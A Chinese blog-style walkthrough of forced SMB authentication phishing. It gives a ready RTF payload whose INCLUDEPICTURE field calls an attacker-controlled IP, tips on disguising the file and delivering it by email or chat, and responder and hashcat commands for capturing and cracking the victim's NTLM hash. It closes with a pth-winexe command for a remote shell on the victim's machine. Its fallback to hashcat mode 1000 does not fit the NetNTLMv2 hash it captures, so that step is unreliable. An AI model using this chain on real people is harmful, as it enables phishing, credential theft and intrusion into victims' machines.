最近对强制认证技术进行了研究与复现,这里做个记录。
环境
攻击机:
- Kali
- responder
- hashcat
靶机:
- Windows 10
- Microsoft Word
背景&原理
首先介绍一些概念:
- 钓鱼攻击:钓鱼式攻击是指企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。
- RTF文档:RTF是Rich Text Format的缩写,意即多文本格式。这是一种类似DOC格式(Word文档)的文件,有很好的兼容性,是许多软件都能够识别的文件格式,比如Word、WPS Office、Excel等都可以打开RTF格式的文件。
- SMB协议:服务器消息块 (SMB) 协议通常用于 Windows 网络中,用于系统之间的身份验证和通信,以访问资源和文件共享。 当 Windows 系统尝试连接到 SMB 资源时,它将自动尝试验证当前用户的凭据信息并将其发送到远程系统。此行为在企业环境中很常见,因此用户无需输入凭据即可访问网络资源。
- WebDAV:当SMB被阻止或出现故障时,Windows系统通常也将Web分布式创作和版本控制(WebDAV)用作备份协议。WebDAV是HTTP的扩展,通常在TCP端口80和443上运行。
借助以上技术,攻击者可以通过强制 SMB/WebDAV 身份验证访问用户帐户哈希。 攻击者可以通过网络钓鱼向用户发送附件,其中包含指向攻击者控制的外部服务器的资源链接(即模板注入),或者将特制文件放置在特权帐户的导航路径上(例如放置在桌面上的.SCF文件)或在受害者可以访问的公共可访问共享上。 当用户的系统访问不受信任的资源时,它将尝试进行身份验证并将信息(包括用户的散列凭据)通过 SMB 发送到对手控制的服务器。通过访问凭证的哈希,攻击者可以执行离线暴力破解以获得对明文凭证的访问权限。
实施攻击
恶意的RTF文件制造
首先,制作一个恶意的RTF文件。
新建一个TXT文件并打开,复制粘贴以下内容到文件中:
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://攻击机IP地址/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
保存之后,将该文件重命名为evil.rtf
(这里名字仅为演示,实际场景可以使用更加具有迷惑性的名字,但后缀一定要为rtf
)
RTF文件可以使用形如上文代码的形式对文档内容进行书写,上文中使用INCLUDEPICTURE
来引入外部资源,当系统请求资源时,将会把当前用户的认证信息发给远端的IP地址以进行认证
发送钓鱼文件
可以使用钓鱼邮件发送给受害者,也可以适当进行包装,通过通讯软件发给受害者,例如:
发送钓鱼文件
密码窃取
打开kali,输入命令查看当前通信标识符:
ifconfig
然后以下命令开启监听(其中的eth1
则为刚刚查看的标识符):
responder -I eth1 -v
当受害者双击打开rtf文档后,收到用户的凭证信息:
(此处应有图)
通过图片不难看出,当前用户名为:XX
密码的hash为:
(图)
密码破解
拿到的并不是密码的明文,因此,还需要将其进行解码才可查看。
打开kali,输入以下命令:
cd /usr/share/responder/logs/
ls
查看之前responder输出的日志名:
(图)
然后运行命令:
cd /usr/share/wordlists/
ls
查看密码字典是否为txt,如果不是的话执行以下命令将gz后缀的文件解压为txt:
gzip -d rockyou.txt.gz
然后,运行以下命令,使用hashcat破解密码:
hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-XXX.txt /usr/share/wordlists/rockyou.txt --force
然而,经过实际操作,发现该命令无法执行,报错显示:
Hash '/usr/share/responder/logs/SMBv2-NTLMv2-SSP-xxxxx.txt': Separator unmatched
No hashes loaded.
因此,直接到日志文件里提取hash值,使用以下命令执行:
hashcat -m1000 hash值 /usr/share/wordlists/rockyou.txt --force
然后等待完成破解即可
密码利用
打开kali,输入以下命令:
pth-winexe //受害者ip -U 用户名%密码 cmd
然后就进入到了目标的cmd窗口,就可以为所欲为了。
网友评论